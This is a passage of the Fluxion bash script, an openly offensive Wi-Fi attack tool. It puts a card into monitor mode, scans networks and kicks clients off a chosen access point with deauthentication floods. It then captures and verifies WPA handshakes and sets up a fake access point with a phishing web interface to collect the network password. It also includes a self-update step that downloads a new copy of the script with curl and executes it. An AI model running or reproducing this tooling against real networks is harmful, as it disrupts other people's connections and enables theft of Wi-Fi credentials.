curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "php-cgi........." if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "openssl........." if ! hash openssl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "strings........." if ! hash strings 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (binutils)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "fuser..........." if ! hash fuser 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (psmisc)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$exit" = "1" ]; then exit 1 fi sleep 1 clear } top checkdependences # Create working directory if [ ! -d $DUMP_PATH ]; then mkdir -p $DUMP_PATH &>$flux_output_device fi # Create handshake directory if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi #create password log directory if [ ! -d $PASSLOG_PATH ]; then mkdir -p $PASSLOG_PATH &>$flux_output_device fi if [ $FLUX_DEBUG != 1 ]; then clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ " sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ " sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ " sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ " sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ " echo"" sleep 0.1 echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 echo -e $green " Page:"$red"https://github.com/FluxionNetwork/fluxion "$transparent sleep 0.1 echo -n " Latest rev." tput civis checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" if [ "$revision_online" != "?" ]; then if [ "$revision" -lt "$revision_online" ]; then echo echo echo -ne $red" New revision found! "$yellow echo -ne "Update? [Y/n]: "$transparent read -N1 doupdate echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then cp $0 $HOME/flux_rev-$revision.backup curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0 echo echo echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent"" sleep 3 chmod +x $0 exec $0 exit fi fi fi echo "" tput cnorm sleep 1 fi # Show info for the selected AP function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" echo -e " "$blue"Channel"$transparent" = $channel" echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)" echo } ############################################### < MENU > ############################################### # Windows + Resolution function setresolution { function resA { TOPLEFT="-geometry 90x13+0+0" TOPRIGHT="-geometry 83x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { TOPLEFT="-geometry 100x20+0+0" TOPRIGHT="-geometry 109x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { TOPLEFT="-geometry 110x35+0+0" TOPRIGHT="-geometry 99x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { TOPLEFT="-geometry 100x17+0+0" TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" TOPRIGHTBIG="-geometry 90x27-0+0" } detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; esac language; setinterface } function language { iptables-save > $DUMP_PATH/iptables-rules conditional_clear if [ "$FLUX_AUTO" = "1" ];then source $WORK_DIR/language/en; setinterface else while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish " echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese " echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " echo -e " "$red"["$yellow"10"$red"]"$transparent" French " echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) source $WORK_DIR/language/en; break;; 2 ) source $WORK_DIR/language/ger; break;; 3 ) source $WORK_DIR/language/ro; break;; 4 ) source $WORK_DIR/language/tu; break;; 5 ) source $WORK_DIR/language/esp; break;; 6 ) source $WORK_DIR/language/ch; break;; 7 ) source $WORK_DIR/language/it; break;; 8 ) source $WORK_DIR/language/cz break;; 9 ) source $WORK_DIR/language/gr; break;; 10 ) source $WORK_DIR/language/fr; break;; 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose Interface function setinterface { conditional_clear top #unblock interfaces rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1) INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then if [ "$INTERFACESNUMBER" -eq "1" ]; then PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}') else echo $header_setinterface echo i=0 for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line" done if [ "$FLUX_AUTO" = "1" ];then line="1" else echo echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read line fi PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') fi if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear top setinterface fi readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 fi if [ $KEEP_NETWORK = 0 ]; then for nagger in "${naggysoftware[@]}"; do killall "$nagger" &>$flux_output_device done sleep 0.5 fi if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 fi # Select Wifi Interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI #No wireless cards else echo $setinterface_error sleep 5 exitmode fi ghost } # Check files function ghost { conditional_clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection } # Select channel function choosescan { if [ "$FLUX_AUTO" = "1" ];then Scan else conditional_clear while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; 3 ) setinterface; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose your channel if you choose option 2 before function Scanchan { conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read channel_number set -- ${channel_number} conditional_clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one } # Scans the entire network function Scan { conditional_clear rm -rf $DUMP_PATH/dump* if [ "$FLUX_AUTO" = "1" ];then sleep 30 && killall xterm & fi xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one } # Choose a network function selection { conditional_clear top LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then clear && exitmode elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then clear && setinterface fi fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` fluxionap=`expr $fluxionap - 1` head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " WIFI LIST " echo "" echo " ID MAC CHAN SECU PWR ESSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent"" else echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" fi aidlength=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv # Select the first network if you select the first network if [ "$FLUX_AUTO" = "1" ];then choice=1 else echo echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent"" echo "" echo -e " $selection_2" echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read choice fi if [[ $choice -eq "r" ]]; then ghost fi idlength=${aidlength[$choice]} ssid=${assid[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'` conditional_clear askAP } # FakeAP function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then fakeapmode="airbase-ng" askauth fi if [ "$FLUX_AUTO" = "1" ];then fakeapmode="hostapd"; authmode="handshake"; handshakelocation else top while true; do infoap echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } # Test Passwords / airbase-ng function askauth { if [ "$FLUX_AUTO" = "1" ];then authmode="handshake"; handshakelocation else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) authmode="handshake"; handshakelocation; break ;; 2 ) authmode="wpa_supplicant"; webinterface; break ;; 3 ) askAP; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } function handshakelocation { conditional_clear top infoap if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes." echo -e "${red}Do you want to use this file? (y/N)" echo -ne "$transparent" if [ "$FLUX_AUTO" = "0" ];then read usehandshakefile fi if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap" fi fi if [ "$handshakeloc" = "" ]; then echo echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo echo -ne "Path: " if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi fi if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then pyrit -r "$handshakeloc" analyze &>$flux_output_device pyrit_broken=$? if [ $pyrit_broken = 0 ]; then Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') else Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}') Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}') fi if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo -e $yellow "Corrupted handshake" $transparent echo sleep 2 echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]" echo read handshakeloc_aircrack echo -ne "$transparent" if [ "$handshakeloc_aircrack" = "" ]; then handshakelocation else if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo "Corrupted handshake" sleep 2 handshakelocation fi fi fi else echo -e "${red}$general_error_1$transparent!" echo echo -e "File ${red}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${green}MAC$transparent" echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" sleep 7 handshakelocation fi else echo -e "File ${red}NOT$transparent present" sleep 2 handshakelocation fi fi } function deauthforce { if [ "$FLUX_AUTO" = "1" ];then handshakemode="normal"; askclientsel else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) handshakemode="normal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ # Type of deauthentication to be performed function askclientsel { if [ "$FLUX_AUTO" = "1" ];then deauth all else conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " echo -e " "$red"["$yellow"5"$red"]"$transparent" Exit" echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # function deauth { conditional_clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { if [ "$FLUX_AUTO" = "1" ];then while true;do checkhandshake && sleep 5 done else while true; do conditional_clear clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) conditional_clear; killall xterm; askclientsel; break;; 3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;; 4 ) exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # Capture all function capture { conditional_clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one & fi } # Check the handshake before continuing function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device certssl i=2 break else Handshake_statuscheck="${red}Not_Found$transparent" fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device certssl i=2 break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ function certssl { # Test if the ssl certificate is generated correcly if there is any if [ -f $DUMP_PATH/server.pem ]; then if [ -s $DUMP_PATH/server.pem ]; then webinterface break else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true;do conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl;break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true; do conditional_clear top echo " " echo " Certificate invalid or not present, please choice" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl; break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi } # Create Self-Signed SSL Certificate function creassl { xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html certssl } ############################################# < ATAQUE > ############################################ # Select attack strategie that will be used function webinterface { chmod 400 $DUMP_PATH/server.pem if [ "$FLUX_AUTO" = "1" ];then matartodo; ConnectionRESET; selection else while true; do conditional_clear top infoap echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; 2 ) matartodo; exitmode; break;; esac done fi } function ConnectionRESET { if [ "$FLUX_AUTO" = "1" ];then webconf=1 else while true; do conditional_clear top infoap n=1 echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr 